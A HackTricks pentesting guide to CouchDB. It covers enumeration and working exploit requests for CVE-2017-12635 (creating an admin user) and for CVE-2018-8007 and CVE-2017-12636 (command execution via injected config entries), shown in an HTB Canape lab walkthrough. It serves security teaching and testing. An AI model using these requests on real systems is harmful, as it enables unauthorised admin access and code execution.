hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

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# 5984,6984 - Pentesting CouchDB
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## **Basic Information**
CouchDB is a document-oriented database and within each document fields are stored as key-value maps. Fields can be either a simple key/value pair, list, or map.
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Each document that is stored in the database is given a document-level unique identifier (`_id`) as well as a revision (`_rev`) number for each change that is made and saved to the database.
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**Default port:** 5984(http), 6984(https)
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```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
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## **Automatic Enumeration**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
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## Manual Enumeration
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### Banner
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```
curl http://IP:5984/
```
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This issues a GET request to installed CouchDB instance. The reply should look something like on of the following:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
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{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
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{% hint style="info" %}
Note that if accessing the root of couchdb you receive a `401 Unauthorized` with something like this: `{"error":"unauthorized","reason":"Authentication required."}` **you won't be able to access** the banner or any other endpoint.
{% endhint %}
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### Info Enumeration
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These are the endpoints where you can access with a **GET** request and extract some interesting info. You can find [**more endpoints and more detailed descriptions in the couchdb documentation**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** List of running tasks, including the task type, name, status and process ID.
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* \*\*`/_all_dbs`\*\*Returns a list of all the databases in the CouchDB instance.
* \*\*`/_cluster_setup`\*\*Returns the status of the node or cluster, per the cluster setup wizard.
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* **`/_db_updates`** Returns a list of all database events in the CouchDB instance. The existence of the `_global_changes` database is required to use this endpoint.
* **`/_membership`** Displays the nodes that are part of the cluster as `cluster_nodes`. The field `all_nodes` displays all nodes this node knows about, including the ones that are part of the cluster.
* **`/_scheduler/jobs`** List of replication jobs. Each job description will include source and target information, replication id, a history of recent event, and a few other things.
* **`/_scheduler/docs`** List of replication document states. Includes information about all the documents, even in `completed` and `failed` states. For each document it returns the document ID, the database, the replication ID, source and target, and other information.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** The `/_node/{node-name}` endpoint can be used to confirm the Erlang node name of the server that processes the request. This is most useful when accessing `/_node/_local` to retrieve this information.
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* **`/_node/{node-name}/_stats`** The `_stats` resource returns a JSON object containing the statistics for the running server. The literal string `_local` serves as an alias for the local node name, so for all stats URLs, `{node-name}` may be replaced with `_local`, to interact with the local nodes statistics.
* **`/_node/{node-name}/_system`** The \_systemresource returns a JSON object containing various system-level statistics for the running server\_.\_ You can use \_\_`_local` as {node-name} to get current node info.
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* **`/_node/{node-name}/_restart`**
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* **`/_up`** Confirms that the server is up, running, and ready to respond to requests. If [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) is `true` or `nolb`, the endpoint will return a 404 response.
* \*\*`/_uuids`\*\*Requests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance.
* \*\*`/_reshard`\*\*Returns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster.
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More interesting information can be extracted as explained here: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
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### **Database List**
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```
curl -X GET http://IP:5984/_all_dbs
```
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If that request **responds with a 401 unauthorised**, then you need some **valid credentials** to access the database:
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```
curl -X GET http://user:password@IP:5984/_all_dbs
```
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In order to find valid Credentials you could **try to** [**bruteforce the service**](../generic-methodologies-and-resources/brute-force.md#couchdb).
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This is an **example** of a couchdb **response** when you have **enough privileges** to list databases (It's just a list of dbs):
```bash
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["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
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### Database Info
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You can obtain some database info (like number of files and sizes) accessing the database name:
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```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
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### **Document List**
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List each entry inside a database
```bash
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curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
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### **Read Document**
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Read the content of a document inside a database:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
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curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
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## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
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Thanks to the differences between Erlang and JavaScript JSON parsers you could **create an admin user** with credentials `hacktricks:hacktricks` with the following request:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
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[**More information about this vuln here**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
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## CouchDB RCE
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### Erlang Cookie
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In the CouchDB docs, in the [cluster set-up section](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), it talks about the different ports used by CouchDB:
> CouchDB in cluster mode uses the port `5984` just as standalone, but it also uses `5986` for node-local APIs.
>
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> Erlang uses TCP port `4369` (EPMD) to find other nodes, so all servers must be able to speak to each other on this port. In an Erlang Cluster, all nodes are connected to all other nodes. A mesh.
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And then theres an interesting warning:
![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)
If we look in the process list, we can see that cookie, “monster”:
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```
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www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
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**You can**[ **read this section to learn how to abuse Erlangs cookies to obtain RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.**\
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Also, you can read some **Canape HTB machine writeup** [**like this one**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) to see and **practice** how to **exploit this vuln**.
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### **Successful CVE-2018-8007 with local.ini write permissions**
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In writing this post, I found a new CVE had been released for CouchDB from mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). It also requires writes to the `local.ini` file, so it isnt a useful option for Canape. But since Ive already made it writable as root, lets see if we can get it to work.
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Start with a clean and now writable `local.ini` (and a backup):
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```
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root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
We can use curl to modify the origins in the `local.ini` file. The vulnerability here is that if we use curl to put a new origin and then newlines, we can write additional stuff, including a new header and details. So well take advantage of the `[os_daemons]` field, and add a process for CouchDB to try to keep running:
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```bash
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www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
In the root shell, we can see what changes:
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```
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root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
And yet, the file isnt there:
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```
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root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
```
If we look at the processes running with “couchdb” in the cmdline, we see not only the line command line that gives us the cookie value we used earlier, but also `runsrv couchdb`:
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```
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root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
```
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If we kill that process, it comes right back (notice the new pid):
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```
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root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
```
And, on restart, runs the OS\_Daemons:
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```
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root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
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### **Successful Attempt Via CVE-2017-12636 with local.ini write permissions**
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CVE-2017-12636 allows for code execution through the couchdb process. However, it wont work in this configuration.
There are a few POCs out there as reference:
* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)
Wed need to write a new query\_server, and then invoke that. When Canape was released, most of the POCs were for couchdb 1.x, but this box is running 2, so the query\_servers path from most of the POCs doesnt exist. Thats changed now, but well walk the same steps. First, get the version, and show that the 1.X path doesnt exist:
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```bash
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www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
```
Update with the new path for 2.0:
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```bash
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www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
```
From there, we should add a query\_server and then invoke it, but we arent able to.
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```bash
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www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
```
Some Googling shows that this is an issue with permissions. In fact, if we check with out root shell, we can see that the `local.ini` file is not writable by anyone, let alone www-data:
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```
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root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
```
So thats a dead end for Canape. But if we want to try to get it working, we can make it readable with our root or homer access, and continue down this path. Well make a backup of the original so we can see what changes:
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```
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root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
```
Now, back to our www-data shell:
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```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```
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```
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www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```
We get back the previous value for the cmd query server, which means success. And in the root shell, we can see it worked:
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```
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root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
```
Now, we should be able to create a db, and then a document in that db, and the request it with a view that maps our query\_server to get execution.
Create db and document:
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```bash
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www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```
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```
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www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
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www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```
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Request it in a view:
```bash
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www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
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```
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#### [Summary](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) with a different payload
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## Shodan
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* `port:5984 couchdb`
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## References
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
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* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
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